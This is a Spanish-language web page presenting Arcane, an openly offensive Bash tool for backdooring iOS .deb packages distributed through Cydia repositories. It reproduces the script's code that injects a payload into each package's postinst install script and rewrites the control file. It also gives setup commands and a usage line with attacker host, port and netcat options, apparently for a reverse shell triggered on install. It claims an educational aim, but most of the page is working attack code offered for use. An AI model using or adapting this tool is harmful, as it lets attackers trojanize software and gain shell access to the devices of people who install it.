Descarga tu guía de trucos informáticos aquí
Arcane Backdoor Paquetes iOS
Arcane Backdoor Paquetes iOS

Arcane: Backdoor en Paquetes iOS (iphone-arm)

Arcane es un simple script diseñado para hacer backdoor de los paquetes iOS (iphone-arm) y crear los recursos necesarios para los repositorios APT. Fue creado para esta publicación para ayudar a ilustrar por qué los repositorios de Cydia pueden ser peligrosos y qué ataques posteriores a la explotación son posibles desde un dispositivo iOS comprometido.

screenshot arcane
screenshot arcane

Cómo funciona Arcane…

Para entender lo que ocurre en el GIF, descomprime un paquete creado con Arcane.

dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

Fíjate en los archivos de control y post-instalación en el directorio DEBIAN. Ambos archivos son importantes.

tree /tmp/whois-decomp/

/tmp/whois-decomp/
├── DEBIAN
│   ├── control
│   └── postinst
└── usr
    └── bin
        └── whois

Es posible suministrar scripts como parte de un paquete al instalar o quitar aplicaciones. Los scripts de mantenimiento de paquetes incluyen los archivos preinst, postinst, prerm y postrm. Arcane aprovecha el archivo postinst para ejecutar comandos durante la instalación.

# El archivo "post-installation". Este archivo es generalmente responsable 
# para ejecutar comandos en el sistema operativo después de instalar el requerido 
# archivos. Es utilizado por los desarrolladores para administrar y mantener varios 
# aspectos de una instalación. Arcane abusa de esta funcionalidad
# agregando comandos Bash maliciosos al archivo.
postinst="$tmp/DEBIAN/postinst";

# Una función para manejar el tipo de ejecución del comando incrustado en el
# archivo postinst.
function inject_backdoor ()
{
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        embed="[$infile]";
    else
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    fi;
    status "embedded $embed into postinst" "error embedding backdoor";
    chmod 0755 "$postinst"
};

El archivo de control contiene los valores que las herramientas de gestión de paquetes utilizan al instalar los paquetes. Arcane modificará un control existente o lo creará.

# La plantilla del archivo de "control". La mayoría de los paquetes de iOS incluirán un
# archivo de control. En el caso de que no se encuentre uno, Arcano usará el
# debajo de la plantilla. La variable "hacker" se utiliza aquí para ocupar
# varios campos arbitrarios.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";

...

# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
else
    # If a control file exists, Arcane will simply rename the package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";
fi;

Usar

Clonar el repositorio en Kali v2020.3.

sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help

Incrustar un comando en un paquete dado. Lee el artículo para más información.

./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat

Muestras del paquete

El repo incluye paquetes para las pruebas.

ls -la samples/

-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  76688 Aug 29  2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  60866 Jul  8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root  13810 Aug 29  2018 whois_5.3.2-1_iphoneos-arm.deb

Suma de MD5, como se encuentra en el Repositorio Bingner oficial.

md5sum samples/*.deb

3f1712964701580b3f018305a55e217c  samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f  samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0  samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7  samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16  samples/whois_5.3.2-1_iphoneos-arm.deb
Dark Mode

Arcane (este enlace se abre en una nueva ventana) por tokyoneon (este enlace se abre en una nueva ventana)

Arcane is a simple script designed to backdoor iOS packages (iphone-arm) and create the necessary resources for APT repositories.

Más artículos
Eliminar Metadatos de PDF + Protección
Eliminar Metadatos de PDF y Proteger Archivo